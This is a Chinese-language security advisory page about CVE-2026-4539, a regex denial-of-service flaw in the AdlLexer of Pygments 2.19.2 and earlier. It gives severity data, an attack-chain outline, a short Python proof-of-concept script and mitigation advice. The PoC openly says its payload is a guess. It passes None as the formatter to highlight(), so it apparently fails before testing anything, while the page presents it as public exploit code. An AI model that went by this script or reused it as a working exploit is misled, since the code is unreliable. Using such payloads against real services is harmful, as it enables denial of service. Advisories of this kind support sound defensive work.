IPBUF安全漏洞报告
English
CVE-2026-4539 CVSS 3.3 低危

CVE-2026-4539 Pygments AdlLexer正则表达式拒绝服务漏洞

披露日期: 2026-03-22

漏洞信息

漏洞编号
CVE-2026-4539
漏洞类型
拒绝服务
CVSS评分
3.3 低危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Pygments

相关标签

ReDoS拒绝服务Pygments本地攻击正则表达式

漏洞概述

Pygments 2.19.2及以下版本存在安全漏洞,位于`pygments/lexers/archetype.py`文件的`AdlLexer`函数中。由于正则表达式复杂度控制不当,攻击者可利用本地访问权限触发拒绝服务攻击。目前利用代码已公开,官方尚未发布修复补丁。

技术细节

该漏洞源于`AdlLexer`函数中使用的正则表达式存在设计缺陷,导致在对特定恶意输入进行匹配时产生灾难性回溯。攻击者通过构造包含特定模式的字符串,诱导目标系统使用受影响版本的Pygments进行高亮处理。由于正则引擎的指数级复杂度,解析过程将长时间占用CPU资源,最终导致服务不可用。此漏洞需要本地访问权限才能利用。

攻击链分析

STEP 1
侦察
攻击者确认目标系统安装了Pygments 2.19.2或更早版本,且使用了AdlLexer进行代码高亮。
STEP 2
构造载荷
攻击者设计并生成能够触发正则表达式回溯问题的恶意字符串。
STEP 3
执行攻击
攻击者通过本地访问权限,诱导应用程序解析包含恶意字符串的文件或输入。
STEP 4
资源耗尽
AdlLexer处理输入时,正则引擎进入高消耗计算状态,导致CPU资源耗尽,引发拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import time from pygments.lexers import AdlLexer from pygments import highlight # PoC for CVE-2026-4539 # Demonstrates inefficient regex complexity in AdlLexer def exploit_poc(): # Constructing a payload likely to trigger ReDoS # Note: Actual payload depends on the specific regex pattern in AdlLexer malicious_input = "a" * 5000 + "(" + "b" * 5000 lexer = AdlLexer() print("Starting exploitation...") start = time.time() try: # Attempt to highlight the malicious input highlight(malicious_input, lexer, None) except Exception as e: print(f"Exception occurred: {e}") end = time.time() print(f"Execution time: {end - start:.4f} seconds") print("If time is significantly high, the system is vulnerable.") if __name__ == "__main__": exploit_poc()

影响范围

Pygments <= 2.19.2

防御指南

临时缓解措施
在官方修复补丁发布前,建议禁用对ADL(Archetype Definition Language)文件的语法高亮功能,或在沙箱环境中运行相关处理程序,限制进程的CPU使用时间。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表